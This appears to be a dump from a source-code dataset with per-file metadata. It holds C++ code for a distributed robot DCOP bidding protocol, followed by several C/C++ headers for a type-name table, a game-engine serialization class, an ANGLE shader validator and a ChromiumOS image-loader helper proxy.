if(message[0]=='B') { //parse out values cout<<"About to parse this message: "<<message<<endl; char* context; strtok_r(message, ":",&context); char* timeStampStr = strtok_r(NULL, ":", &context); char* nodeNumberStr = strtok_r(NULL, ":", &context); char* roundNumberStr = strtok_r(NULL, ":", &context); char* bidStr = strtok_r(NULL, ":", &context); int nodeNumber = atoi(nodeNumberStr); int roundNumber = atoi(roundNumberStr); int bid = atoi(bidStr); Round* round = &rounds[roundNumber]; pthread_mutex_lock(&round->bidsLock); //store value of neighbor in bid arr round->bids[nodeNumber] = bid; //update count round->numBidsReceived++; cout<<"BIDS REC: "<<round->numBidsReceived<<endl; //if enough people, signal DCOPThread to proceed int numNeighbors = getNeighbors(myRobotID)->size(); if(round->numBidsReceived==numNeighbors) { //do signal cout<<"SIGNALED BID"<<endl; round->bidsSignalVal = 1; pthread_cond_signal(&round->bidsCV); } pthread_mutex_unlock(&round->bidsLock); } else if(message[0]=='M') { char* context; strtok_r(message, ":", &context); char* ts = strtok_r(NULL, ":", &context); char* nodeNumberStr = strtok_r(NULL, ":", &context); char* roundNumberStr = strtok_r(NULL, ":", &context); int nodeNumber = atoi(nodeNumberStr); int roundNumber = atoi(roundNumberStr); Round* round = &rounds[roundNumber]; pthread_mutex_lock(&round->movedLock); //update counter if(round->expectedToMove[myRobotID]==nodeNumber || round->expectedToMove2[myRobotID]==nodeNumber) round->numRobotsMoved++; cout<<"NUM_ROBOTS_MOVED: "<<round->numRobotsMoved<<endl; cout<<"NUM_EXPECTED_TO_MOVE: "<<round->numExpectedToMove<<endl; //signal if necessary if(round->numRobotsMoved==round->numExpectedToMove) { round->movedSignalVal = 1; cout<<"SIGNALED TO MOVE ON"<<endl; pthread_cond_signal(&round->movedCV); } pthread_mutex_unlock(&round->movedLock); } else if(message[0]=='E') { //signal DCOPThread to proceed char* context; strtok_r(message, ":", &context); char* ts = strtok_r(NULL, ":", &context); char* nodeNumberStr = strtok_r(NULL, ":", &context); char* roundNumberStr = strtok_r(NULL, ":", &context); char* expectedToMoveStr = strtok_r(NULL, ":", &context); char* expectedToMove2Str = strtok_r(NULL, ":", &context); int nodeNumber = atoi(nodeNumberStr); int roundNumber = atoi(roundNumberStr); int expectedToMoveInt = atoi(expectedToMoveStr); int expectedToMove2Int = atoi(expectedToMove2Str); Round* round = &rounds[roundNumber]; pthread_mutex_lock(&round->expectedLock); //store value in expected matrix round->expectedToMove[nodeNumber] = expectedToMoveInt; round->expectedToMove2[nodeNumber] = expectedToMove2Int; //update numExpectedReceived round->numExpectedReceived++; //signal if necessary int numNeighbors = getNeighbors(myRobotID)->size(); if(round->numExpectedReceived==numNeighbors) { round->expectedSignalVal = 1; pthread_cond_signal(&round->expectedCV); } pthread_mutex_unlock(&round->expectedLock); } else if(message[0]=='F') { char* context; strtok_r(message, ":", &context); char* ts = strtok_r(NULL, ":", &context); char* nodeNumberStr = strtok_r(NULL, ":", &context); char* roundNumberStr = strtok_r(NULL, ":", &context); char* pairPosStr = strtok_r(NULL, ":", &context); char* pairNeighborPosStr = strtok_r(NULL, ":", &context); char* pairRewardStr = strtok_r(NULL, ":", &context); char* pairNeighborIDStr = strtok_r(NULL, ":", &context); int nodeNumber = atoi(nodeNumberStr); int roundNumber = atoi(roundNumberStr); int pairPos = atoi(pairPosStr); int pairNeighborPos = atoi(pairNeighborPosStr); int pairReward = atoi(pairRewardStr); int pairNeighborID = atoi(pairNeighborIDStr); //store first bid cout<<"Storing first bid in table."<<endl; Round* round = &rounds[roundNumber]; K2Bid* pairStorage = &round->firstBids[nodeNumber]; cout<<"Pair storage aint it."<<endl; pairStorage->myPos = pairPos; pairStorage->neighborPos = pairNeighborPos; pairStorage->reward = pairReward; pairStorage->neighborID = pairNeighborID; cout<<"DONE w/ store."<<endl; //update first bid count pthread_mutex_lock(&round->firstBidsLock); round->numFirstBidsReceived++; cout<<"First bid count: "<<round->numFirstBidsReceived<<endl; if(round->numFirstBidsReceived==getNeighbors(myRobotID)->size()) { round->firstBidsSignal = 1; pthread_cond_signal(&round->firstBidsCV); } pthread_mutex_unlock(&round->firstBidsLock); cout<<"done w/ first bid."<<endl; } else if(message[0]=='S') { char* context; strtok_r(message, ":", &context); char* ts = strtok_r(NULL, ":", &context); char* nodeNumberStr = strtok_r(NULL, ":", &context); char* roundNumberStr = strtok_r(NULL, ":", &context); char* pairPosStr = strtok_r(NULL, ":", &context); char* pairNeighborPosStr = strtok_r(NULL, ":", &context); char* pairRewardStr = strtok_r(NULL, ":", &context); char* pairNeighborIDStr = strtok_r(NULL, ":", &context); int nodeNumber = atoi(nodeNumberStr); int roundNumber = atoi(roundNumberStr); int pairPos = atoi(pairPosStr); int pairNeighborPos = atoi(pairNeighborPosStr); int pairReward = atoi(pairRewardStr); int pairNeighborID = atoi(pairNeighborIDStr); //store first bid Round* round = &rounds[roundNumber]; K2Bid* pairStorage = &round->secondBids[nodeNumber]; pairStorage->myPos = pairPos; pairStorage->neighborPos = pairNeighborPos; pairStorage->reward = pairReward; pairStorage->neighborID = pairNeighborID; //update first bid count pthread_mutex_lock(&round->secondBidsLock); round->numSecondBidsReceived++; if(round->numSecondBidsReceived==getNeighbors(myRobotID)->size()) { round->secondBidsSignal = 1; pthread_cond_signal(&round->secondBidsCV); } pthread_mutex_unlock(&round->secondBidsLock); } else if(message[0]=='T') { char* context; strtok_r(message, ":", &context); char* ts = strtok_r(NULL, ":", &context); char* nodeNumberStr = strtok_r(NULL, ":", &context); char* roundNumberStr = strtok_r(NULL, ":", &context); char* pairPosStr = strtok_r(NULL, ":", &context); char* pairNeighborPosStr = strtok_r(NULL, ":", &context); char* pairRewardStr = strtok_r(NULL, ":", &context); char* pairNeighborIDStr = strtok_r(NULL, ":", &context); int nodeNumber = atoi(nodeNumberStr); int roundNumber = atoi(roundNumberStr); int pairPos = atoi(pairPosStr); int pairNeighborPos = atoi(pairNeighborPosStr); int pairReward = atoi(pairRewardStr); int pairNeighborID = atoi(pairNeighborIDStr); //store third bid Round* round = &rounds[roundNumber]; K2Bid* pairStorage = &round->thirdBids[nodeNumber]; pairStorage->myPos = pairPos; pairStorage->neighborPos = pairNeighborPos; pairStorage->reward = pairReward; pairStorage->neighborID = pairNeighborID; //update third bid count pthread_mutex_lock(&round->thirdBidsLock); round->numThirdBidsReceived++; if(round->numThirdBidsReceived==getNeighbors(myRobotID)->size()) { round->thirdBidsSignal = 1; pthread_cond_signal(&round->thirdBidsCV); } pthread_mutex_unlock(&round->thirdBidsLock); } else { cout<<"MESSAGE MATCH FAILURE"<<endl; } } /** * The DCOP thread function for k=2 algorithms. This function is * commanly used for all k=2 algorithms as it executes the basic * DCOP steps. */ void* DCOPThreadFunc_k2(void* arg) { //wait until start processing has been fully completed //main function is to make sure that all nodes are up //before start the DCOP thread behavior cout<<"DCOP THREAD STARTED"<<endl; pthread_mutex_lock(&DCOPThreadLock_start); if(numReadyToGo!=getNeighbors(myRobotID)->size()+1) { cout<<"Waiting for other agents."<<endl; pthread_cond_wait(&DCOPCV_start, &DCOPThreadLock_start); } pthread_mutex_unlock(&DCOPThreadLock_start); cout<<"About to enter loop."<<endl; while(numRoundsElapsed < NUM_ROUNDS) { //round variables - ease of use Round* round = &rounds[numRoundsElapsed]; cout<<"NUM ROUND ELAPSED: "<<numRoundsElapsed<<endl; //GET PREROUND VALUE int myPrior = computeMyPreroundValue(); //send preround value vector<int>* neighbors = getNeighbors(myRobotID); for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendPreroundValueMsg(connections[neighbor],numRoundsElapsed, myPrior); } cout<<"Should have sent preround."<<endl; //wait for all preround values from others pthread_mutex_lock(&round->preLock); if(round->preSignalVal==0) { cout<<"Waiting for others preround."<<endl; pthread_cond_wait(&round->preCV, &round->preLock); } pthread_mutex_unlock(&round->preLock); //compute local bid (first bid) updateSignalStrengths(round->neighborSS, neighbors->size()); int myLocalBid = computeGain(DCOP_ALGORITHM, round->neighborSS, neighbors->size()); K2Bid* firstBid = &(round->firstBids[myRobotID]); firstBid->myPos = round->ifIWinMyLoc; firstBid->neighborPos = -1; firstBid->reward = myLocalBid; firstBid->neighborID = -1; cout<<"MY FIRST BID FOR ROUND "<<numRoundsElapsed<<" :"<<myLocalBid<<endl; //send first bid for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendFirstBid(connections[neighbor], numRoundsElapsed, firstBid); } //wait for first bids pthread_mutex_lock(&round->firstBidsLock); if(round->firstBidsSignal==0) { cout<<"Waiting for first bids."<<endl; pthread_cond_wait(&round->firstBidsCV, &round->firstBidsLock); } pthread_mutex_unlock(&round->firstBidsLock); cout<<"should have received all first bids."<<endl; //find max that is not my own int max=INT_MIN, maxID=-1, maxPos=-1; for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); if(round->firstBids[neighbor].reward > max || (round->firstBids[neighbor].reward==max && neighbor < maxID)) { max = round->firstBids[neighbor].reward; maxID = neighbor; maxPos = round->firstBids[neighbor].myPos; } } cout<<"MAX ID Belongs to "<<maxID<<" for first bid "<<max<<" in round "<<numRoundsElapsed<<endl; //compute joint gain and send out pairing request int jointGain = myLocalBid + max - round->neighborSS[maxID]; K2Bid* secondBid = &(round->secondBids[myRobotID]); secondBid->myPos = round->ifIWinMyLoc; secondBid->neighborPos = maxPos; secondBid->reward = jointGain; secondBid->neighborID = maxID; //send second bid for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendSecondBid(connections[neighbor], numRoundsElapsed, secondBid); } //receive second bids pthread_mutex_lock(&round->secondBidsLock); if(round->secondBidsSignal==0) { cout<<"Waiting for second bids."<<endl; pthread_cond_wait(&round->secondBidsCV, &round->secondBidsLock); } pthread_mutex_unlock(&round->secondBidsLock); cout<<"should have received all second bids."<<endl; //Third bid: If who I wanted to pair with wants to pair with me, do that. Else bid my local bid. K2Bid* thirdBidComp = computeThirdBid(round, secondBid, myLocalBid); K2Bid* thirdBid = &(round->thirdBids[myRobotID]); thirdBid->myPos = thirdBidComp->myPos; thirdBid->neighborPos = thirdBidComp->neighborPos; thirdBid->reward = thirdBidComp->reward; thirdBid->neighborID = thirdBidComp->neighborID; //send third bid for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendThirdBid(connections[neighbor], numRoundsElapsed, thirdBid); } //wait for all 3rd bids pthread_mutex_lock(&round->thirdBidsLock); if(round->thirdBidsSignal==0) { cout<<"Waiting for third bids."<<endl; pthread_cond_wait(&round->thirdBidsCV, &round->thirdBidsLock); } pthread_mutex_unlock(&round->thirdBidsLock); cout<<"should have received all third bids."<<endl; //compute best bid K2Bid* bestBid = &(round->thirdBids[myRobotID]); int bestBidID = myRobotID; for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); K2Bid* bid = &round->thirdBids[neighbor]; cout<<"round "<<numRoundsElapsed<<" bid "<<neighbor<<" :"<<bid->reward<<endl; if(bid->reward > bestBid->reward) { bestBid = bid; bestBidID = neighbor; } } round->expectedToMove[myRobotID] = bestBidID; round->expectedToMove2[myRobotID] = bestBid->neighborID; cout<<"MAX BID belongs to "<<bestBidID<<" and "<<bestBid->neighborID<<" for "<<bestBid->reward<<endl; //compute number to move pthread_mutex_lock(&round->movedLock); round->numExpectedToMove=0; if(isNeighbor(bestBidID)) round->numExpectedToMove++; if(isNeighbor(bestBid->neighborID)) round->numExpectedToMove++; cout<<"I expect "<<round->numExpectedToMove<<" DM msgs."<<endl; pthread_mutex_unlock(&round->movedLock); //send who I expect to move to neighbors for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendExpectedToMoveMsg(connections[neighbor], numRoundsElapsed, bestBidID, bestBid->neighborID); } //wait for movement expectations from neighbors pthread_mutex_lock(&round->expectedLock); if(round->expectedSignalVal==0) { cout<<"Waiting for other expected values."<<endl; pthread_cond_wait(&round->expectedCV, &round->expectedLock); } pthread_mutex_unlock(&round->expectedLock); //compute move or not move if(bestBidID==myRobotID) { cout<<"Guess it's my turn to move."<<endl; if(bestBid->neighborID!=-1) cout<<"My bro "<<bestBid->neighborID<<" should also move."<<endl; //move move(DCOP_ALGORITHM); sleep(5); //if i have a bro moving, send done moving to my bro. if(bestBid->neighborID!=-1) { sendDoneMovingMsg(connections[bestBid->neighborID], numRoundsElapsed); } //if i have a bro moving, wait for a done message from them. if(bestBid->neighborID!=-1) { pthread_mutex_lock(&round->movedLock); if(round->movedSignalVal==0) { cout<<"waiting for signal from "<<round->expectedToMove2[myRobotID]<<endl; pthread_cond_wait(&round->movedCV, &round->movedLock); } pthread_mutex_unlock(&round->movedLock); } //send done moving to all my neighbors who aren't my bro who expect me to move. for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); //if neighbor is my bro, don't do it. if(neighbor==bestBid->neighborID) continue; //do it if(round->expectedToMove[neighbor]==myRobotID || round->expectedToMove2[neighbor]==myRobotID) { sendDoneMovingMsg(connections[neighbor], numRoundsElapsed); } } } else if(bestBid->neighborID==myRobotID) { cout<<"It's my turn to move."<<endl; cout<<"My bro "<<bestBidID<<" won me the bid."<<endl; //move move(DCOP_ALGORITHM); //if i have a bro moving, send done moving to my bro. if(bestBidID!=-1) { sendDoneMovingMsg(connections[bestBidID], numRoundsElapsed); } //if i have a bro moving, wait for a done message from them. if(bestBidID!=-1) { cout<<"Not my turn."<<endl; pthread_mutex_lock(&round->movedLock); if(round->movedSignalVal==0) { cout<<"waiting for signal from "<<round->expectedToMove[myRobotID]<<endl; pthread_cond_wait(&round->movedCV, &round->movedLock); } pthread_mutex_unlock(&round->movedLock); } //send done moving to all who expect me to move who are not my bro. for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); //if its my bro, dont do it. if(neighbor==bestBidID) continue; //else do it if(round->expectedToMove[neighbor]==myRobotID || round->expectedToMove2[neighbor]==myRobotID) { sendDoneMovingMsg(connections[neighbor], numRoundsElapsed); } } } else { cout<<"Not my turn to move."<<endl; //wait for all to move pthread_mutex_lock(&round->movedLock); if(round->movedSignalVal==0) { cout<<"Waiting for winner(s) to move."<<endl; pthread_cond_wait(&round->movedCV, &round->movedLock); } pthread_mutex_unlock(&round->movedLock); //send done moving to all who expect me to move for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); //else do it if(round->expectedToMove[neighbor]==myRobotID || round->expectedToMove2[neighbor]==myRobotID) { sendDoneMovingMsg(connections[neighbor], numRoundsElapsed); } } } cout<<"ROUND "<<numRoundsElapsed<<" DONE."<<endl; //increment round number numRoundsElapsed++; } } /** * The DCOP thread function for k=1 algorithms. This function is * commanly used for all k=1 algorithms as it executes the basic * DCOP steps. */ void* DCOPThreadFunc_k1(void* arg) { //wait until start processing has been fully completed //main function is to make sure that all nodes are up //before start the DCOP thread behavior cout<<"DCOP THREAD STARTED"<<endl; pthread_mutex_lock(&DCOPThreadLock_start); if(numReadyToGo!=getNeighbors(myRobotID)->size()+1) { cout<<"Waiting for other agents."<<endl; pthread_cond_wait(&DCOPCV_start, &DCOPThreadLock_start); } pthread_mutex_unlock(&DCOPThreadLock_start); cout<<"About to enter loop."<<endl; while(numRoundsElapsed < NUM_ROUNDS) { //round variables - ease of use Round* round = &rounds[numRoundsElapsed]; cout<<"NUM ROUND ELAPSED: "<<numRoundsElapsed<<endl; //GET PREROUND VALUE int myPrior = computeMyPreroundValue(); //send preround value vector<int>* neighbors = getNeighbors(myRobotID); for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendPreroundValueMsg(connections[neighbor],numRoundsElapsed, myPrior); } cout<<"Should have sent preround."<<endl; //wait for all preround values from others pthread_mutex_lock(&round->preLock); if(round->preSignalVal==0) { cout<<"Waiting for others preround."<<endl; pthread_cond_wait(&round->preCV, &round->preLock); } pthread_mutex_unlock(&round->preLock); //COMPUTE MY BID updateSignalStrengths(round->neighborSS, neighbors->size()); int myBid = computeGain(DCOP_ALGORITHM, round->neighborSS, neighbors->size()); cout<<"MY BID FOR ROUND "<<numRoundsElapsed<<" :"<<myBid<<endl; round->bids[myRobotID] = myBid; //send my signal str to vis server // sendCumSignalStrMsg(NULL, numRoundsElapsed, computeCumSignalStr(round->neighborSS, NUM_AGENTS-1)); // for(int x=0; x < NUM_AGENTS; x++) { // if(x!=myRobotID) { // sendInstSignalStrMsg(NULL, x, numRoundsElapsed, round->neighborSS[x]); // } // } //send my bid for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendRoundBidMsg(connections[neighbor], numRoundsElapsed, myBid); } cout<<"Should have sent my bids."<<endl; //wait for all bids pthread_mutex_lock(&round->bidsLock); if(round->bidsSignalVal==0) { cout<<"Waiting for other bids"<<endl; pthread_cond_wait(&round->bidsCV, &round->bidsLock); } pthread_mutex_unlock(&round->bidsLock); //find max int max=round->bids[myRobotID], maxID=myRobotID; for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); if(round->bids[neighbor] > max || (round->bids[neighbor]==max && neighbor < maxID)) { max = round->bids[neighbor]; maxID = neighbor; } } round->expectedToMove[myRobotID] = maxID; cout<<"MAX ID Belongs to "<<maxID<<" for bid "<<max<<" in round "<<numRoundsElapsed<<endl; //compute number to move pthread_mutex_lock(&round->movedLock); round->numExpectedToMove = 1; pthread_mutex_unlock(&round->movedLock); //send who I expect to move for neighbors for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); sendExpectedToMoveMsg(connections[neighbor], numRoundsElapsed, maxID, -1); } //wait for movement expectations from neighbors pthread_mutex_lock(&round->expectedLock); if(round->expectedSignalVal==0) { cout<<"Waiting for other expected values."<<endl; pthread_cond_wait(&round->expectedCV, &round->expectedLock); } pthread_mutex_unlock(&round->expectedLock); //Move or not move code if(maxID==myRobotID) { //if its my turn to move, move and send done moving to all who expect me to move. cout<<"I guess its my turn to move. "<<endl; //move int newPos = move(DCOP_ALGORITHM); cout<<"Moved to new position: "<<newPos<<endl; //send done moving to all who expect me to move. for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); if(round->expectedToMove[neighbor]==myRobotID) { sendDoneMovingMsg(connections[neighbor], numRoundsElapsed); } } } else { //wait for done moving message from person who I expect to move. cout<<"Not my turn."<<endl; pthread_mutex_lock(&round->movedLock); if(round->movedSignalVal==0) { cout<<"waiting for signal from "<<round->expectedToMove[myRobotID]<<endl; pthread_cond_wait(&round->movedCV, &round->movedLock); } pthread_mutex_unlock(&round->movedLock); //send done moving to all who expect me to move. for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); if(round->expectedToMove[neighbor]==myRobotID) { sendDoneMovingMsg(connections[neighbor], numRoundsElapsed); } } } cout<<"ROUND "<<numRoundsElapsed<<" DONE."<<endl; //increment round number numRoundsElapsed++; } }
29.324306
112
0.688516
07f6e0fdbfc5ed0680fd890374116b733919892c
1,951
h
C
frontend/BuiltinNames.h
jordiae/psychec
7930108c08c8ac1b81cf4e2a980edbe708517462
[ "BSD-3-Clause" ]
null
null
null
frontend/BuiltinNames.h
jordiae/psychec
7930108c08c8ac1b81cf4e2a980edbe708517462
[ "BSD-3-Clause" ]
null
null
null
frontend/BuiltinNames.h
jordiae/psychec
7930108c08c8ac1b81cf4e2a980edbe708517462
[ "BSD-3-Clause" ]
null
null
null
/****************************************************************************** * Copyright (c) 2016 Leandro T. C. Melo (ltcmelo@gmail.com) * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 * USA *****************************************************************************/ #ifndef PSYCHE_BUILTINNAMES_H__ #define PSYCHE_BUILTINNAMES_H__ namespace psyche { const char* const kVoidTy = "void"; const char* const kCharTy = "char"; const char* const kShortTy = "short"; const char* const kIntTy = "int"; const char* const kLongTy = "long"; const char* const kLongLongTy = "long long"; const char* const kFloatTy = "float"; const char* const kDoubleTy = "double"; const char* const kLongDoubleTy = "long double"; const char* const kDefaultFloatPointTy = kDoubleTy; const char* const kDefaultIntTy = kIntTy; const char* const kDefaultArithTy = kDefaultIntTy; const char* const kDefaultStrTy = "char*"; const char* const kDefaultConstStrTy = "char const*"; // Standard library understood by default. const char* const kSizeTy = "size_t"; const char* const kPtrDiffTy = "ptrdiff_t"; const char* const kIntPtrTy = "intptr_t"; const char* const kUIntPtrTy = "uintptr_t"; // Reserved const char* const kScalarTy = "scalar_t__"; } // namepspace psyche #endif
35.472727
79
0.685802
55796e4fcb8ec2a3fa82cb3ef7564bd8b7a07a18
3,132
h
C
source/laplace/engine/protocol/basic_value.h
ogryzko/laplace
be63caa0c6d1c4fceab02ab5b41b6d307ef7baaf
[ "MIT" ]
null
null
null
source/laplace/engine/protocol/basic_value.h
ogryzko/laplace
be63caa0c6d1c4fceab02ab5b41b6d307ef7baaf
[ "MIT" ]
null
null
null
source/laplace/engine/protocol/basic_value.h
ogryzko/laplace
be63caa0c6d1c4fceab02ab5b41b6d307ef7baaf
[ "MIT" ]
null
null
null
/* laplace/engine/protocol/basic_value.h * * Copyright (c) 2021 Mitya Selivanov * * This file is part of the Laplace project. * * Laplace is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See * the MIT License for more details. */ #ifndef laplace_engine_protocol_basic_value_h #define laplace_engine_protocol_basic_value_h #include "../prime_impact.h" namespace laplace::engine::protocol { template <uint16_t id_, typename type_> class basic_value final : public prime_impact { public: enum encoding_offset : sl::index { n_value = 10 }; static constexpr uint16_t id = id_; static constexpr sl::whole size = n_value + sizeof(type_); ~basic_value() final = default; constexpr basic_value() { this->set_encoded_size(size); } constexpr basic_value(type_ value) { this->set_encoded_size(size); this->m_value = value; } constexpr basic_value(sl::index n, type_ value) { this->set_index(n); this->set_encoded_size(size); this->m_value = value; } static constexpr auto get_value(span_cbyte seq) { return serial::rd<type_>(seq, n_value); } inline void encode_to(std::span<uint8_t> bytes) const final { serial::write_bytes(bytes, id, this->get_index64(), this->m_value); } static constexpr auto scan(span_cbyte seq) -> bool { return seq.size() == size && prime_impact::get_id(seq) == id; } static inline auto decode(span_cbyte seq) { return basic_value { prime_impact::get_index(seq), get_value(seq) }; } private: type_ m_value = 0; }; template <uint16_t id_, typename type_> class instant_value final : public prime_impact { public: enum encoding_offset : sl::index { n_value = 2 }; static constexpr uint16_t id = id_; static constexpr sl::whole size = n_value + sizeof(type_); ~instant_value() final = default; constexpr instant_value() { this->set_encoded_size(size); } constexpr instant_value(type_ value) { this->set_encoded_size(size); this->m_value = value; } static constexpr auto get_value(span_cbyte seq) { return serial::rd<type_>(seq, n_value); } inline void encode_to(std::span<uint8_t> bytes) const final { serial::write_bytes(bytes, id, this->m_value); } static constexpr auto scan(span_cbyte seq) -> bool { return seq.size() == size && prime_impact::get_id(seq) == id; } static inline auto decode(span_cbyte seq) { return instant_value { get_value(seq) }; } private: type_ m_value = 0; }; using ping_request = instant_value<ids::ping_request, uint64_t>; using ping_response = instant_value<ids::ping_response, uint64_t>; using server_reserve = basic_value<ids::server_reserve, uint64_t>; using server_clock = basic_value<ids::server_clock, uint64_t>; using server_seed = basic_value<ids::server_seed, uint64_t>; } #endif
27.473684
68
0.666667
0d8d11bec66b3d5319bc6843deec3a4437ef8d77
944
h
C
externals/skia/third_party/externals/angle2/src/compiler/translator/ValidateMultiviewWebGL.h
terrajobst/linux-packaging-skiasharp
47dbb2ff9ae01305b190f409ccea00b3b4f0bc79
[ "MIT" ]
1
2019-10-29T14:36:32.000Z
2019-10-29T14:36:32.000Z
externals/skia/third_party/externals/angle2/src/compiler/translator/ValidateMultiviewWebGL.h
terrajobst/linux-packaging-skiasharp
47dbb2ff9ae01305b190f409ccea00b3b4f0bc79
[ "MIT" ]
1
2017-06-18T00:25:03.000Z
2017-11-29T16:01:48.000Z
externals/skia/third_party/externals/angle2/src/compiler/translator/ValidateMultiviewWebGL.h
terrajobst/linux-packaging-skiasharp
47dbb2ff9ae01305b190f409ccea00b3b4f0bc79
[ "MIT" ]
5
2017-11-30T06:06:50.000Z
2022-03-31T21:48:49.000Z
// // Copyright (c) 2002-2016 The ANGLE Project Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // // ValidateMultiviewWebGL.h: // Validate the AST according to rules in the WEBGL_multiview extension spec. Only covers those // rules not already covered in ParseContext. // #ifndef COMPILER_TRANSLATOR_VALIDATEMULTIVIEWWEBGL_H_ #define COMPILER_TRANSLATOR_VALIDATEMULTIVIEWWEBGL_H_ #include "GLSLANG/ShaderVars.h" namespace sh { class TDiagnostics; class TIntermBlock; // Check for errors and output error messages with diagnostics. // Returns true if there are no errors. bool ValidateMultiviewWebGL(TIntermBlock *root, sh::GLenum shaderType, bool multiview2, TDiagnostics *diagnostics); } // namespace sh #endif // COMPILER_TRANSLATOR_VALIDATEMULTIVIEWWEBGL_H_
30.451613
97
0.721398
8ddda6a636ab394dbd306608507b002a7847ea0e
205
h
C
cpp/src/include/net/UnixSocket.h
yatesjr/OpenEngine
e379ad9ad47a2b1de1daff3bb931346b3ef1403c
[ "Apache-2.0" ]
3
2018-09-13T03:00:59.000Z
2019-04-01T23:07:32.000Z
cpp/src/include/net/UnixSocket.h
yatesjr/OpenEngine
e379ad9ad47a2b1de1daff3bb931346b3ef1403c
[ "Apache-2.0" ]
17
2019-03-14T20:52:20.000Z
2019-05-24T17:15:15.000Z
cpp/src/include/net/UnixSocket.h
yatesjr/OpenEngine
e379ad9ad47a2b1de1daff3bb931346b3ef1403c
[ "Apache-2.0" ]
null
null
null
// // Created by jyates on 5/4/19. // #ifndef OPENENGINE_UNIXSOCKET_H #define OPENENGINE_UNIXSOCKET_H #include "Socket.h" class UnixSocket : public Socket { public: }; #endif //OPENENGINE_UNIXSOCKET_H
13.666667
34
0.75122
c02eb82e39d4598c1356d200542257c6deba9daa
2,593
h
C
imageloader/helper_process_proxy.h
Toromino/chromiumos-platform2
97e6ba18f0e5ab6723f3448a66f82c1a07538d87
[ "BSD-3-Clause" ]
4
2020-07-24T06:54:16.000Z
2021-06-16T17:13:53.000Z
imageloader/helper_process_proxy.h
Toromino/chromiumos-platform2
97e6ba18f0e5ab6723f3448a66f82c1a07538d87
[ "BSD-3-Clause" ]
1
2021-04-02T17:35:07.000Z
2021-04-02T17:35:07.000Z
imageloader/helper_process_proxy.h
Toromino/chromiumos-platform2
97e6ba18f0e5ab6723f3448a66f82c1a07538d87
[ "BSD-3-Clause" ]
null
null
null
// Copyright 2017 The Chromium OS Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IMAGELOADER_HELPER_PROCESS_PROXY_H_ #define IMAGELOADER_HELPER_PROCESS_PROXY_H_ #include <sys/types.h> #include <memory> #include <string> #include <vector> #include <base/files/scoped_file.h> #include <base/macros.h> #include "imageloader/manifest.h" // Forward declare classes in sys/socket.h struct msghdr; namespace imageloader { // Forward declare classes in ipc.pb.h class ImageCommand; class CommandResponse; // Tracks a helper subprocess. Handles forking, cleaning up on termination, and // IPC. class HelperProcessProxy { public: HelperProcessProxy() = default; HelperProcessProxy(const HelperProcessProxy&) = delete; HelperProcessProxy& operator=(const HelperProcessProxy&) = delete; virtual ~HelperProcessProxy() = default; // Re-execs imageloader with a new argument: "|fd_arg|=N", where N is the side // of |control_fd|. This tells the subprocess to start up a different // mainloop. void Start(int argc, char* argv[], const std::string& fd_arg); // Sends a message telling the helper process to mount the file backed by |fd| // at the |path|. virtual bool SendMountCommand(int fd, const std::string& path, FileSystem fs_type, const std::string& table); // Sends a message telling the helper process to enumerate all mount point // paths with prefix of |rootpath| and returns them with |paths|. If // |dry_run| is true, no mount points are unmounted. If |dry_run| is false, // all mount points returned in |paths| are unmounted. virtual bool SendUnmountAllCommand(bool dry_run, const std::string& rootpath, std::vector<std::string>* paths); // Sends a message telling the helper process to umount mount point at // |path|. virtual bool SendUnmountCommand(const std::string& path); const pid_t pid() { return pid_; } protected: // Waits for a reply from the helper process indicating if the mount succeeded // or failed. virtual std::unique_ptr<CommandResponse> WaitForResponse(); pid_t pid_{0}; base::ScopedFD control_fd_; private: // Constructs msghdr and sends it. virtual std::unique_ptr<CommandResponse> SendCommand( const ImageCommand& msg_proto, struct msghdr* msg); }; } // namespace imageloader #endif // IMAGELOADER_HELPER_PROCESS_PROXY_H_
32.012346
80
0.695719
0e321df6f9d7316ba2bdd6eed0f5a57f1f3c75ed
2,296
c
C
Exercism/c/series/test/test_series.c
CajetanP/programming-exercises
aee01ff3208ab14e7d0e0a7077798342123bc3e6
[ "MIT" ]
1
2017-06-23T16:39:17.000Z
2017-06-23T16:39:17.000Z
Exercism/c/series/test/test_series.c
CajetanP/coding-exercises
aee01ff3208ab14e7d0e0a7077798342123bc3e6
[ "MIT" ]
10
2021-05-09T00:06:22.000Z
2021-09-02T12:07:41.000Z
Exercism/c/series/test/test_series.c
mrkajetanp/programming-exercises
aee01ff3208ab14e7d0e0a7077798342123bc3e6
[ "MIT" ]
null
null
null
